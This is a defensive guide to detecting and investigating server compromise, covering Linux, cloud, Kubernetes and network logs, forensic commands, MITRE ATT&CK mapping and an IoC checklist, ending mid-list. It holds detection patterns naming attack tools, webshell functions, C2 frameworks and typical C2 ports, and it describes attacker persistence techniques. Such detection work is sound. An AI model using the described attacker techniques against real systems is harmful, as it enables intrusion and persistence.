How to Know If a Threat Actor Has Accessed Your Server

This article explains that every internet-connected server is a target for unauthorized access, and it provides a guide for detecting a compromise. It details common indicators of a breach, such as brute-force login attempts, creation of backdoor accounts, unexpected processes, and data exfiltration patterns. The guide also offers specific commands for examining system logs on both Linux and Windows servers to identify suspicious activity.

A practical detection, investigation, and response guide for DevOps engineers, backend developers, security engineers, and startup CTOs. Sobering reality:IBM's 2023 Cost of a Data Breach Report found that the average breach goesundetected for 204 days— nearly 7 months. By the time most teams notice something is wrong, the attacker has already been living in their infrastructure long enough to map every service, exfiltrate sensitive data, and install multiple persistence mechanisms. The detection gap, not the initial intrusion, is what turns an incident into a catastrophe.This guide closes that gap. Table of Contents Introduction 1-introduction Common Signs a Threat Actor Accessed a Server 2-common-signs-a-threat-actor-accessed-a-server Where to Check — Logs & Evidence Sources 3-where-to-check--logs--evidence-sources Network-Based Detection 4-network-based-detection Step-by-Step Investigation Playbook 5-step-by-step-investigation-playbook Useful Commands & Tools 6-useful-commands--tools MITRE ATT&CK Technique Mapping 7-mitre-attck-technique-mapping Indicators of Compromise IoC Checklist 8-indicators-of-compromise-ioc-checklist Immediate Response Actions 9-immediate-response-actions Legal, Compliance & Regulatory Obligations 10-legal-compliance--regulatory-obligations Prevention Best Practices 11-prevention-best-practices Windows Server Incident Response 12-windows-server-incident-response Real-World Example 13-real-world-example-detecting-a-compromised-linux-server Conclusion — The DICRP Framework 14-conclusion--the-dicrp-framework Quick Reference 15-quick-reference 1. Introduction Every server connected to the internet is a target. It is not a question of if someone will attempt to access it without authorisation — it is a question of when , and whether you will detect it in time. A server compromise occurs when an unauthorised party gains access to a system in a way that was not intended, permitted, or expected. This could range from a low-privilege attacker who merely explored your file system to a sophisticated threat actor who has maintained persistent access for months, exfiltrated data, and planted backdoors before you noticed anything unusual. Normal vs. Suspicious vs. Confirmed Compromise Understanding the difference between these three states is the foundation of any incident investigation. | State | Description | Example | |---|---|---| Normal access | Expected behaviour from known users, services, or automated systems | Your deployment pipeline SSH-ing in as deploy at 2:00 AM | Suspicious access | Anomalous activity that may or may not be malicious — requires investigation | A root login from an unrecognised IP at 3:47 AM | Confirmed compromise | Evidence of unauthorised access, malicious activity, or data breach | A reverse shell process running as www-data ; unknown SSH keys added | The critical skill is recognising the gap between "something looks off" and "we have been breached." Many teams either dismiss suspicious signals too quickly or panic at false positives. This guide will help you tell the difference — and act accordingly. 2. Common Signs a Threat Actor Accessed a Server Before diving into log analysis, you need to know what you are looking for. The following indicators are the most common signals that something is wrong. 2.1 Unusual Login Attempts SSH / RDP / API MITRE ATT&CK: T1110 — Brute Force, T1078 — Valid Accounts Brute-force attempts are often a precursor to or evidence of access. A high volume of failed logins followed by a single successful one is a textbook sign of a successful brute-force attack. What to look for: - Multiple failed SSH attempts from the same or rotating IP addresses - Successful logins from geographic locations inconsistent with your team - Logins at unusual hours 3:00 AM when your team is in Lagos / London / NYC - Logins from IPs flagged in threat intelligence databases Shodan, AbuseIPDB - API authentication tokens used from unexpected IP ranges 2.2 Unknown Users or Privilege Escalation MITRE ATT&CK: T1136 — Create Account, T1548 — Abuse Elevation Control Mechanism Attackers often create backdoor accounts or escalate privileges to maintain access. What to look for: - New user accounts in /etc/passwd you did not create - Users added to sudo or the wheel group without authorisation - Changes to /etc/sudoers or /etc/sudoers.d/ - A non-root user suddenly running processes as root - SUID/SGID binaries that were not there before 2.3 Unexpected Running Processes / Services MITRE ATT&CK: T1059 — Command and Scripting Interpreter, T1543 — Create or Modify System Process Malicious actors install tools — cryptominers, reverse shells, data exfiltration agents. These show up as unexpected processes. What to look for: - Processes with random or disguised names e.g., kworkerds , sysupdate , .init - Processes listening on unusual ports - Unknown services registered with systemd or init.d - Processes consuming excessive CPU often cryptominers - Processes running as www-data , nginx , or other service accounts but performing non-service tasks 2.4 Modified System Files / Configurations MITRE ATT&CK: T1565 — Data Manipulation, T1601 — Modify System Image Attackers modify system files to maintain persistence or disable defences. What to look for: - Changes to /etc/hosts redirecting DNS - Modified shell profiles: .bashrc , .bash profile , .profile , /etc/profile.d/ - Altered PAM configuration files /etc/pam.d/ - Modified SSH server config /etc/ssh/sshd config — e.g., PermitRootLogin yes added - Timestamp discrepancies on critical binaries ls , ps , netstat , find - Changes to web application files index.php , config.js — webshells 2.5 Unusual Outbound / Inbound Network Traffic MITRE ATT&CK: T1071 — Application Layer Protocol, T1041 — Exfiltration Over C2 Channel Data exfiltration and command-and-control C2 communication create distinctive network patterns. What to look for: - Large outbound data transfers to unknown IPs, especially at odd hours - Connections to known malicious IP ranges or Tor exit nodes - Unusual protocols or ports IRC on port 6667, DNS tunnelling, ICMP data transfer - New persistent connections to external IPs from service accounts - DNS queries to domains with high entropy DGA — Domain Generation Algorithm 2.6 High CPU, RAM, or Disk Usage Anomalies MITRE ATT&CK: T1496 — Resource Hijacking Resource abuse is one of the most visible and often first noticed signs of compromise. What to look for: - CPU usage consistently above 80–90% with no corresponding application load - Disk I/O spikes with no scheduled jobs running - Disk filling up rapidly with unexpected files - Memory exhaustion tied to an unknown process - Cryptomining malware is the most common cause — it is immediately visible in resource graphs 2.7 Disabled Security Tools or Logs MITRE ATT&CK: T1562 — Impair Defenses, T1070 — Indicator Removal A sophisticated attacker's first action is often to blind your monitoring. What to look for: - auditd , fail2ban , iptables , or ufw suddenly stopped or disabled - Log files that are empty, truncated, or have suspicious gaps - cron entries that pipe logs to /dev/null - Security agent CrowdStrike, Wazuh, OSSEC reporting offline - syslog daemon stopped or replaced 2.8 Unexpected Cron Jobs / Scheduled Tasks MITRE ATT&CK: T1053 — Scheduled Task/Job Cron is a favourite persistence mechanism for attackers. What to look for: - Entries in /var/spool/cron/crontabs/ you do not recognise - New files in /etc/cron.d/ , /etc/cron.hourly/ , /etc/cron.daily/ - Cron jobs that download and execute scripts from external URLs - Windows: Scheduled Tasks created under \Microsoft\Windows\ in Task Scheduler - Systemd timers systemctl list-timers that are unexpected 2.9 New SSH Keys or Changed Credentials MITRE ATT&CK: T1098 — Account Manipulation, T1556 — Modify Authentication Process Attackers plant SSH keys to ensure persistent re-entry even after passwords are changed. What to look for: - New entries in ~/.ssh/authorized keys for root or any user - New keys in /etc/ssh/authorized keys if configured globally - SSH host keys regenerated check /etc/ssh/ssh host - Changed /etc/passwd or /etc/shadow entries password hash changes - Cloud metadata service SSH key updates AWS EC2 Instance Connect, GCP OS Login 3. Where to Check — Logs & Evidence Sources Once you suspect compromise, you need to know exactly where to look. Here is a comprehensive map of log locations and what each reveals. 3.1 Linux System Logs | Log File | Location | What It Contains | |---|---|---| auth.log | /var/log/auth.log Debian/Ubuntu | SSH logins, sudo usage, PAM events | secure | /var/log/secure RHEL/CentOS/Amazon Linux | Same as auth.log for RPM-based distros | syslog | /var/log/syslog | General system messages, daemon activity | kern.log | /var/log/kern.log | Kernel events, unusual driver/module loads | wtmp | /var/log/wtmp | Binary log of all logins/logouts read with last | btmp | /var/log/btmp | Binary log of failed logins read with lastb | lastlog | /var/log/lastlog | Most recent login per user read with lastlog | audit.log | /var/log/audit/audit.log | System call auditing if auditd is enabled | Using journalctl systemd-based systems : Show all logs from the past 24 hours journalctl --since "24 hours ago" Show SSH service logs within a date range journalctl -u ssh --since "2024-01-01" --until "2024-01-07" Show logs for a specific process ID journalctl PID=1234 Show kernel messages only journalctl -k Follow logs in real time journalctl -f Show logs at warning priority or higher journalctl -p warning 3.2 Web Server Logs Web servers are frequent entry points via exploited applications, LFI, RFI, SQL injection, or webshells. Nginx: Default access log tail -f /var/log/nginx/access.log Look for POST requests to unusual paths webshell access grep "POST" /var/log/nginx/access.log | grep -v "api\|login\|upload" Look for scanning patterns many 404s from one IP awk '{print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -20 Look for unusual user agents grep -i "sqlmap\|nikto\|nmap\|masscan\|python-requests\|zgrab" /var/log/nginx/access.log Apache: Apache access log tail -f /var/log/apache2/access.log HTTP status code distribution — many 200s on unusual paths = webshell hits cat /var/log/apache2/access.log | awk '{print $9}' | sort | uniq -c | sort -rn 3.3 Cloud Audit Logs AWS CloudTrail: Find console login events aws cloudtrail lookup-events \ --lookup-attributes AttributeKey=EventName,AttributeValue=ConsoleLogin \ --start-time 2024-01-01T00:00:00Z --end-time 2024-01-07T00:00:00Z Look for root account usage always suspicious aws cloudtrail lookup-events \ --lookup-attributes AttributeKey=Username,AttributeValue=root Look for IAM user creation aws cloudtrail lookup-events \ --lookup-attributes AttributeKey=EventName,AttributeValue=CreateUser Look for security group rule additions attacker opening ports aws cloudtrail lookup-events \ --lookup-attributes AttributeKey=EventName,AttributeValue=AuthorizeSecurityGroupIngress GCP Audit Logs: View admin activity logs gcloud logging read \ "logName=projects/YOUR PROJECT/logs/cloudaudit.googleapis.com%2Factivity" \ --limit 100 --format json Filter for IAM policy changes gcloud logging read 'protoPayload.methodName="SetIamPolicy"' --limit 50 Azure Monitor: Query for role assignment changes az monitor activity-log list \ --start-time 2024-01-01T00:00:00Z \ --end-time 2024-01-07T00:00:00Z \ --query " ?authorization.action=='Microsoft.Authorization/roleAssignments/write' " 3.4 Firewall and WAF Logs iptables — view current rules with byte counts iptables -L -n -v View recent iptables drops if DROP logging is enabled grep "iptables" /var/log/syslog | tail -50 UFW logs grep "UFW" /var/log/ufw.log | grep "BLOCK" | tail -50 fail2ban — view currently banned IPs fail2ban-client status sshd See all bans across all jails fail2ban-client status 3.5 Container and Kubernetes Logs MITRE ATT&CK: T1610 — Deploy Container, T1613 — Container and Resource Discovery Docker — view container logs docker logs <container id --tail 200 --follow Inspect a running container's processes docker top <container id Check for unexpected or recently created containers docker ps -a --format "table {{.ID}}\t{{.Image}}\t{{.CreatedAt}}\t{{.Status}}" Inspect container for dangerous mounts host path mounts = escalation risk docker inspect <container id | jq '. .HostConfig.Binds' ── Kubernetes ────────────────────────────────────────────────────── View pod logs including previous crashed pod kubectl logs <pod-name -n <namespace --previous View recent events across all namespaces kubectl get events --all-namespaces --sort-by=.metadata.creationTimestamp ── RBAC Enumeration — what can each service account do? ────────── List all ClusterRoleBindings look for unexpected admin rights kubectl get clusterrolebindings -o json | \ jq '.items | select .roleRef.name=="cluster-admin" | .subjects' List all service accounts and their bound roles kubectl get rolebindings,clusterrolebindings --all-namespaces -o wide Check for service accounts with wildcard permissions dangerous kubectl auth can-i --list --as=system:serviceaccount:<namespace :<sa-name ── Service Account Token Exposure ───────────────────────────────── Check if pods are auto-mounting service account tokens they shouldn't unless needed kubectl get pods --all-namespaces -o json | \ jq '.items | select .spec.automountServiceAccountToken =false | {name: .metadata.name, namespace: .metadata.namespace}' ── Privileged / Host-Access Pods container escape risk ────────── Find privileged pods — these can escape to the host kernel kubectl get pods --all-namespaces -o json | \ jq '.items | select .spec.containers .securityContext.privileged==true | {name: .metadata.name, namespace: .metadata.namespace}' Find pods with hostPID or hostNetwork another escape vector kubectl get pods --all-namespaces -o json | \ jq '.items | select .spec.hostPID==true or .spec.hostNetwork==true | {name: .metadata.name, namespace: .metadata.namespace}' ── Container Escape Indicators ──────────────────────────────────── If running inside a container, check if you can reach the Docker socket presence means container escape may already have occurred ls -la /var/run/docker.sock 2 /dev/null && echo "WARNING: Docker socket mounted" Check if cgroups indicate container escape unexpected cgroup namespaces cat /proc/1/cgroup ── Kubernetes Audit Log Analysis ────────────────────────────────── If audit logging is enabled on the API server, look for: - Anonymous access attempts - exec into pods T1609 - port-forward commands lateral movement grep '"verb":"exec"' /var/log/kubernetes/audit.log | jq . grep '"verb":"port-forward"' /var/log/kubernetes/audit.log | jq . grep '"username":"system:anonymous"' /var/log/kubernetes/audit.log | jq . 3.6 EDR and SIEM Queries Splunk — parent-child process anomalies webshell execution index=endpoint | eval parent child=parent process+"-"+process name | stats count by parent child | sort -count Elastic KQL — new privileged users Windows Event IDs event.code: 4728 OR event.code: 4732 Elastic KQL — lateral movement via SMB event.action: "network connection" AND destination.port: 445 4. Network-Based Detection Network telemetry often reveals attacker activity before host logs do — especially when logs have been tampered with. This section covers the tools and techniques for network-level forensics. 4.1 Zeek formerly Bro Log Analysis Zeek is a powerful network analysis framework that passively monitors traffic and writes structured logs. On a compromised network, Zeek logs are gold. Install Zeek Ubuntu apt install zeek -y Config: /usr/local/zeek/etc/node.cfg — set interface Key Zeek log files default: /var/log/zeek/current/ or /usr/local/zeek/logs/current/ conn.log — all network connections src/dst IP, port, bytes, duration dns.log — all DNS queries and responses http.log — HTTP requests URI, method, user-agent, response codes ssl.log — TLS/SSL connections SNI, certificate info notice.log — Zeek-generated alerts weird.log — protocol anomalies very useful for C2 detection Find long-duration connections beacon/C2 behaviour cat /var/log/zeek/current/conn.log | \ zeek-cut id.orig h id.resp h id.resp p duration | \ sort -k4 -rn | head -20 Find unusually large outbound data transfers exfiltration cat /var/log/zeek/current/conn.log | \ zeek-cut id.orig h id.resp h resp bytes | \ awk '$3 10000000' | sort -k3 -rn | head -10 Find DNS queries to high-entropy domains DGA / C2 beaconing cat /var/log/zeek/current/dns.log | \ zeek-cut query | sort | uniq -c | sort -rn | head -30 Find HTTP requests with suspicious user-agents cat /var/log/zeek/current/http.log | \ zeek-cut id.orig h host uri user agent | \ grep -i "curl\|wget\|python\|go-http\|libwww" | head -20 Identify connections to Tor exit nodes requires enriching with Tor exit node list comm -12 \ < cat /var/log/zeek/current/conn.log | zeek-cut id.resp h | sort -u \ < curl -s https://check.torproject.org/torbulkexitlist | sort -u 4.2 Suricata IDS Alert Triage Suricata is an open-source IDS/IPS that writes alerts in EVE JSON format. Install Suricata Ubuntu apt install suricata -y suricata-update Pull latest Emerging Threats ruleset EVE JSON alert log location tail -f /var/log/suricata/eve.json | jq 'select .event type=="alert" ' Find all alerts sorted by severity jq 'select .event type=="alert" | {timestamp, src ip, dest ip, alert: .alert.signature, severity: .alert.severity}' \ /var/log/suricata/eve.json | less Filter for high-severity alerts only severity 1 jq 'select .event type=="alert" and .alert.severity==1 ' \ /var/log/suricata/eve.json Find C2 beacon alerts jq 'select .event type=="alert" | select .alert.signature | test "C2|beacon|Cobalt|Meterpreter|reverse" ' \ /var/log/suricata/eve.json Aggregate alerts by signature find most triggered rules jq -r 'select .event type=="alert" | .alert.signature' \ /var/log/suricata/eve.json | sort | uniq -c | sort -rn | head -20 Find DNS anomalies detected by Suricata jq 'select .event type=="dns" and .dns.type=="answer" ' \ /var/log/suricata/eve.json | head -20 4.3 DNS Query Forensics DNS is abused for data exfiltration, C2 communication, and DGA-based malware. If using systemd-resolved, query the DNS cache resolvectl statistics View recent DNS queries on the system requires audit rule on DNS Set up DNS audit rule: auditctl -w /etc/resolv.conf -p wa -k dns config change Capture and analyse live DNS queries with tcpdump tcpdump -i eth0 -n port 53 -w /tmp/dns capture.pcap Then analyse with Wireshark or tshark: tshark -r /tmp/dns capture.pcap -T fields -e dns.qry.name | sort | uniq -c | sort -rn DNS-over-HTTPS bypass detection: look for DoH endpoints grep -r "dns.google\|cloudflare-dns.com\|1.1.1.1\|8.8.8.8" \ /var/log/nginx/access.log /var/log/syslog 2 /dev/null Check for DNS tunnelling unusually long subdomain queries cat /var/log/zeek/current/dns.log | zeek-cut query | \ awk 'length $1 50' | head -20 Look for high-frequency queries to a single domain C2 polling cat /var/log/zeek/current/dns.log | zeek-cut query | \ sort | uniq -c | sort -rn | head -20 4.4 AWS VPC Flow Log Analysis for C2 Identification VPC Flow Logs capture all IP traffic to/from your EC2 instances and are invaluable for detecting C2, lateral movement, and exfiltration. Enable VPC Flow Logs if not already enabled aws ec2 create-flow-logs \ --resource-type VPC \ --resource-ids vpc-YOUR VPC ID \ --traffic-type ALL \ --log-destination-type cloud-watch-logs \ --log-group-name /aws/vpc/flowlogs \ --deliver-logs-permission-arn arn:aws:iam::ACCOUNT:role/FlowLogsRole Query flow logs using AWS Athena after configuring Athena table Find top talkers potential exfiltration SELECT srcaddr, dstaddr, sum bytes as total bytes FROM vpc flow logs WHERE action = 'ACCEPT' AND dstaddr NOT LIKE '10.%' AND dstaddr NOT LIKE '172.16.%' AND dstaddr NOT LIKE '192.168.%' GROUP BY srcaddr, dstaddr ORDER BY total bytes DESC LIMIT 20; Find connections to suspicious ports commonly used by C2 frameworks SELECT srcaddr, dstaddr, dstport, protocol, sum packets as pkt count FROM vpc flow logs WHERE dstport IN 4444, 4445, 8080, 8443, 1337, 31337, 6667, 1080 AND action = 'ACCEPT' GROUP BY srcaddr, dstaddr, dstport, protocol ORDER BY pkt count DESC; Detect port scanning many destinations, low packet counts SELECT srcaddr, count distinct dstaddr as unique dsts, sum packets as total pkts FROM vpc flow logs WHERE action = 'REJECT' GROUP BY srcaddr HAVING count distinct dstaddr 100 ORDER BY unique dsts DESC; Identify periodic beaconing C2 polling — regular intervals to same destination Look for consistent, low-byte connections to a single external IP SELECT srcaddr, dstaddr, dstport, date trunc 'minute', from unixtime start as minute bucket, count as connections FROM vpc flow logs WHERE action = 'ACCEPT' AND dstaddr NOT LIKE '10.%' GROUP BY srcaddr, dstaddr, dstport, date trunc 'minute', from unixtime start HAVING count 1 ORDER BY connections DESC; 5. Step-by-Step Investigation Playbook When you suspect a compromise, do not panic and do not immediately shut the server down — you may destroy forensic evidence. Follow this structured process. ┌─────────────────────────────────────────────────────────────────┐ │ INCIDENT INVESTIGATION FLOW │ │ │ │ 1. Confirm Indicators → 2. Preserve Evidence │ │ ↓ ↓ │ │ 3. Identify Access → 4. Determine Attacker Actions │ │ Vector ↓ │ │ ↓ 5. Check Persistence │ │ 6. Scope Affected ← ↓ │ │ Systems ← 7. Reconstruct Timeline │ └─────────────────────────────────────────────────────────────────┘ Step 1 — Confirm Suspicious Indicators Before escalating, verify that what you are seeing is genuinely anomalous. Cross-reference against: - Your deployment schedule was that 3 AM login from your CI/CD pipeline? - IP allow-lists and team VPN ranges - Recently onboarded engineers or contractors - Any known penetration tests or red team engagements If after cross-referencing you cannot explain the activity, treat it as a confirmed incident. Step 2 — Preserve Evidence This is the most time-critical step. Evidence can be overwritten, logs can rotate, and memory is volatile. Create a forensics output directory mkdir -p /tmp/forensics && cd /tmp/forensics Capture running processes snapshot ps auxf processes.txt Capture active network connections ss -tulpn network connections.txt Capture logged-in users who who.txt && w who.txt && last -n 100 last logins.txt Dump current iptables rules iptables-save iptables rules.txt Capture all crontabs crontab -l root cron.txt 2 /dev/null for user in $ cut -f1 -d: /etc/passwd ; do echo "=== $user ===" all crontabs.txt crontab -u "$user" -l 2 /dev/null all crontabs.txt done Capture loaded kernel modules lsmod kernel modules.txt Copy critical log files cp /var/log/auth.log ./ 2 /dev/null || cp /var/log/secure ./ 2 /dev/null cp /var/log/syslog ./ 2 /dev/null Hash all collected files for chain-of-custody sha256sum evidence hashes.txt Memory acquisition with LiME Linux Memory Extractor : Unlike avml which is Azure-specific and requires pre-deployment , LiME is a loadable kernel module that works across all Linux distributions and can be compiled on-demand. ── Install LiME ─────────────────────────────────────────────────── Prerequisites apt install linux-headers-$ uname -r build-essential git -y Debian/Ubuntu or: yum install kernel-devel gcc git -y RHEL/CentOS Clone and build LiME git clone https://github.com/504ensicsLabs/LiME.git /tmp/LiME cd /tmp/LiME/src make This produces a .ko kernel module, e.g.: lime-5.15.0-generic.ko ── Acquire memory dump ──────────────────────────────────────────── Option A: Dump to a local file insmod lime-$ uname -r .ko "path=/tmp/forensics/memory.lime format=lime" Option B: Dump directly over the network to your forensics workstation On your workstation: nc -l -p 4242 memory.lime On the target server: insmod lime-$ uname -r .ko "path=tcp:4242 format=lime" Unload LiME after acquisition rmmod lime ── Analyse the memory dump ──────────────────────────────────────── Use Volatility3 on your forensics workstation pip3 install volatility3 List processes from memory dump vol -f memory.lime linux.pslist.PsList Find network connections in memory vol -f memory.lime linux.netstat.Netstat Check for hidden processes rootkit detection vol -f memory.lime linux.pstree.PsTree Extract bash command history from memory vol -f memory.lime linux.bash.Bash Find injected code / malicious shared libraries vol -f memory.lime linux.library list.LibraryList Cloud best practice:Before acquiring memory,take an EBS snapshot / cloud disk snapshot. This preserves the entire disk state and is your fastest path to a forensic copy. A disk snapshot takes seconds; LiME compilation may take minutes. Step 3 — Identify the Initial Access Vector How did they get in? Common vectors and where to look for each: | Vector | MITRE ATT&CK | Where to Look | |---|---|---| | Brute-forced SSH | T1110.001 | auth.log — many failed logins then success | | Exploited web application | T1190 | Web server logs — unusual POST requests, 500 spikes | | Stolen credentials / leaked key | T1078 | CloudTrail / IAM logs — access from unexpected IPs | | Supply chain compromised dependency | T1195 | Application logs — unusual library behaviour | | Phishing → credential theft | T1566 | Email logs, SIEM identity events | | Unpatched CVE | T1203 | Check versions: nginx -v , openssl version , etc. | | Exposed cloud storage | T1530 | S3/GCS access logs — GetObject from unknown IPs | | Misconfigured metadata service SSRF | T1552.005 | SSRF logs, cloud audit logs for credential usage | Check SSH login history for the first suspicious successful login grep "Accepted" /var/log/auth.log | grep -v "YOUR KNOWN IPS" Check for web exploitation via suspicious HTTP payloads grep -E " UNION|SELECT|DROP|exec\ |eval\ |base64 decode|cmd=|exec= " \ /var/log/nginx/access.log Find recently created files — may reveal dropped payloads find / -mtime -7 -type f -not -path "/proc/ " -not -path "/sys/ " 2 /dev/null | \ grep -v "\.log$" | head -50 Step 4 — Determine Attacker Actions Check bash history for all users cat /root/.bash history for user in $ cut -f1 -d: /etc/passwd ; do home=$ eval echo "~$user" if -f "$home/.bash history" ; then echo "=== History for $user ===" && cat "$home/.bash history" fi done Check if history was cleared empty history with recent mtime = suspicious ls -la /root/.bash history Check recently accessed files find / -atime -1 -type f -not -path "/proc/ " 2 /dev/null | head -30 Check audit logs for executed commands if auditd was running ausearch -i -m execve --start recent Review outbound connections that occurred grep "ESTABLISHED\|SYN SENT" /tmp/forensics/network connections.txt Step 5 — Check Persistence Mechanisms ── SSH Keys ────────────────────────────────────────────────────── find /home /root /etc -name "authorized keys" 2 /dev/null -exec echo "=== {} ===" \; \ -exec cat {} \; ── Cron Jobs ───────────────────────────────────────────────────── ls -la /etc/cron /var/spool/cron/crontabs/ && cat /etc/cron.d/ ── Systemd Services ────────────────────────────────────────────── systemctl list-units --type=service --state=running find /etc/systemd/system/ -name " .service" -newer /etc/passwd ── Web Shells ──────────────────────────────────────────────────── find /var/www /srv /opt -name " .php" \ -exec grep -l "eval\|system\|exec\|base64 decode\|passthru" {} \; ── SUID Binaries ───────────────────────────────────────────────── find / -perm -4000 -type f -not -path "/proc/ " 2 /dev/null ── Startup Scripts ─────────────────────────────────────────────── ls -la /etc/rc.local /etc/rc .d/ /etc/init.d/ ── LD PRELOAD Hijacking ────────────────────────────────────────── cat /etc/ld.so.preload 2 /dev/null && env | grep LD PRELOAD Step 6 — Scope Affected Systems Check for other hosts this server connects to cat ~/.ssh/known hosts && cat /etc/hosts && arp -n Look for lateral SSH movement from this server grep "Accepted\|publickey\|password" /var/log/auth.log | grep "from" AWS: Check CloudTrail for API calls made by this instance's IAM role aws cloudtrail lookup-events \ --lookup-attributes AttributeKey=ResourceName,AttributeValue=i-YOUR INSTANCE ID Step 7 — Timeline Reconstruction Combine auth.log, syslog, and web logs sorted by timestamp cat /var/log/auth.log /var/log/syslog /var/log/nginx/access.log | \ sort -k1,3 /tmp/forensics/unified timeline.txt Find file modifications around the suspected breach time find / -newermt "2024-01-15 02:00" -newermt "2024-01-15 06:00" \ -type f -not -path "/proc/ " 2 /dev/null 6. Useful Commands & Tools 6.1 Login and Session Investigation last — login history with source IP last -n 50 -a -a shows hostname/IP in last column lastlog — most recent login per account spot accounts that shouldn't login lastlog | grep -v "Never logged in" who — currently logged-in users who -a w — logged-in users + what command they are currently running w 6.2 Process Investigation Full process listing sorted by CPU find cryptominers ps aux --sort=-%cpu | head -20 Visual process tree — attackers' reverse shells appear as children of web processes ps auxf pstree -aup lsof — open files and network connections per process lsof -i All network connections lsof -i :4444 Who is using port 4444? lsof -p <PID All files opened by a specific PID lsof | grep deleted Malware deleted from disk but still running in memory 6.3 Network Investigation ss — fast, modern netstat replacement ss -tulpn All listening sockets with process names ss -tnp All established TCP connections with process names Find unexpected external connections ss -tnp | grep -v "127.0.0.1\|::1\|10\.\|172\.16\.\|192\.168\." 6.4 File System Forensics Files modified in the last N days find / -mtime -1 -type f -not -path "/proc/ " -not -path "/sys/ " 2 /dev/null Files modified within a specific time window find /var/www -newermt "2024-01-15 00:00" -newermt "2024-01-16 00:00" -type f World-writable files common malware drop point find / -perm -o+w -type f -not -path "/proc/ " 2 /dev/null SUID/SGID binaries find / -type f \ -perm -4000 -o -perm -2000 \ -not -path "/proc/ " 2 /dev/null Hidden files and directories find / -name ". " -type f -not -path "/proc/ " -not -path "/home/ /.bash " 2 /dev/null | head -30 6.5 Rootkit Detection chkrootkit — scans system binaries and /proc for known rootkit signatures apt install chkrootkit OR yum install chkrootkit chkrootkit -q Only show positive findings rkhunter — more comprehensive: checks binaries, backdoors, configs, network ports apt install rkhunter rkhunter --update Update signatures first rkhunter --check --rwo Only show warnings 6.6 System Auditing with auditd Install and enable apt install auditd && systemctl enable auditd && systemctl start auditd Add critical watch rules auditctl -w /etc/passwd -p wa -k passwd change auditctl -w /etc/sudoers -p wa -k sudoers change auditctl -w /tmp -p x -k tmp exec Exec from /tmp common malware staging auditctl -w /bin/bash -p x -k bash exec Search audit log ausearch -k passwd change Events matching watch key ausearch -m execve --start today All exec calls today ausearch -x /bin/bash --start yesterday Human-readable reports aureport --summary aureport --login --failed aureport --exec 6.7 fail2ban systemctl status fail2ban Check active bans fail2ban-client status fail2ban-client status sshd Manually ban an attacking IP fail2ban-client set sshd banip 203.0.113.42 View banned IPs fail2ban-client banned 7. MITRE ATT&CK Technique Mapping The MITRE ATT&CK framework provides a standardised vocabulary for attacker behaviour. Use these mappings to align your detection rules, SIEM queries, and threat hunting to industry-standard technique IDs. | ATT&CK Tactic | Technique ID | Technique Name | Indicator / Detection | |---|---|---|---| | Initial Access | T1190 | Exploit Public-Facing Application | Web server 500 errors, unusual POST payloads | | Initial Access | T1078 | Valid Accounts | Successful logins from unexpected IPs | | Initial Access | T1110.001 | Brute Force: Password Guessing | SSH failed login spikes in auth.log | | Initial Access | T1566.001 | Phishing: Spearphishing Attachment | Email logs, browser forensics | | Initial Access | T1195 | Supply Chain Compromise | Unexpected behaviour in dependency code | | Execution | T1059.004 | Unix Shell | Unexpected shell spawned from web process | | Execution | T1059.001 | PowerShell | PowerShell with -EncodedCommand or download | | Persistence | T1053.003 | Cron Job | Unknown entries in /etc/cron.d/ | | Persistence | T1098.004 | SSH Authorized Keys | New keys in ~/.ssh/authorized keys | | Persistence | T1543.002 | Systemd Service | Unknown .service files in /etc/systemd/ | | Persistence | T1136.001 | Create Local Account | New entries in /etc/passwd | | Privilege Escalation | T1548.001 | Setuid/Setgid | New SUID binaries not in baseline | | Privilege Escalation | T1548.003 | Sudo Caching | NOPASSWD entries in sudoers | | Defence Evasion | T1562.001 | Disable or Modify Tools | auditd / fail2ban stopped | | Defence Evasion | T1070.002 | Clear Linux/Mac System Logs | Log files truncated; gaps in timestamps | | Defence Evasion | T1574.006 | LD PRELOAD | Unexpected /etc/ld.so.preload entries | | Credential Access | T1552.004 | Private Keys | SSH private keys exfiltrated from ~/.ssh/ | | Credential Access | T1003 | OS Credential Dumping | /etc/shadow accessed; mimikatz on Windows | | Discovery | T1082 | System Information Discovery | uname -a , id , hostname in bash history | | Discovery | T1046 | Network Service Discovery | Port scanning activity in firewall logs | | Lateral Movement | T1021.004 | Remote Services: SSH | SSH connections to other internal hosts | | Collection | T1005 | Data from Local System | Unusual find / tar / zip commands | | Exfiltration | T1041 | Exfiltration Over C2 Channel | Large outbound transfers on established C2 port | | Exfiltration | T1048 | Exfiltration Over Alternative Protocol | DNS tunnelling, ICMP data transfer | | Command & Control | T1071.004 | Application Layer Protocol: DNS | High-entropy DNS queries; DNS tunnelling | | Command & Control | T1071.001 | Web Protocols | HTTPS C2 over port 443 to unknown IPs | | Impact | T1496 | Resource Hijacking | Cryptominer processes; 90%+ CPU with no load | | Impact | T1485 | Data Destruction | Mass file deletion; rm -rf in audit logs | Practical use:When you discover an indicator, look up its ATT&CK technique ID. Then check the ATT&CK page for "Mitigations" and "Detections" — the community has already written SIEM rules and EDR signatures for most techniques. Use MITRE ATT&CK Navigator to visualise your detection coverage. 8. Indicators of Compromise IoC Checklist Use this checklist during an active investigation. Check each item and record your findings. | | Indicator | Where to Check | MITRE ID | Status | |---|---|---|---|---| | 1 | New or unrecognised user accounts | /etc/passwd | T1136 | ☐ | | 2 | Users added to sudo / wheel group | /etc/sudoers , getent group sudo | T1548 | ☐ | | 3 | Unrecognised SSH authorized keys | ~/.ssh/authorized keys all users | T1098.004 | ☐ | | 4 | Unexpected successful SSH logins | /var/log/auth.log or secure | T1078 | ☐ | | 5 | Logins from unexpected IPs or geos | last -a , CloudTrail / audit logs | T1078 | ☐ | | 6 | Unknown or high-CPU processes | ps aux --sort=-%cpu | T1496 | ☐ | | 7 | Processes on unexpected ports | ss -tulpn | T1571 | ☐ | | 8 | Unexpected outbound connections | ss -tnp , VPC Flow Logs | T1041 | ☐ | | 9 | Unknown or modified cron jobs | crontab -l , /etc/cron.d/ | T1053.003 | ☐ | | 10 | Unknown systemd services | systemctl list-units --type=service | T1543.002 | ☐ | | 11 | Modified system binaries | rkhunter --check , debsums , rpm -Va | T1601 | ☐ | | 12 | Webshells in web root | find /var/www -name " .php" -exec grep -l eval {} \; | T1505.003 | ☐ | | 13 | SUID binaries not in baseline | find / -perm -4000 | T1548.001 | ☐ | | 14 | Modified /etc/hosts or DNS config | cat /etc/hosts , cat /etc/resolv.conf | T1565 | ☐ | | 15 | Modified SSH server config | cat /etc/ssh/sshd config | T1556 | ☐ | | 16 | Modified PAM config | ls -la /etc/pam.d/ | T1556.003 | ☐ | | 17 | Disabled 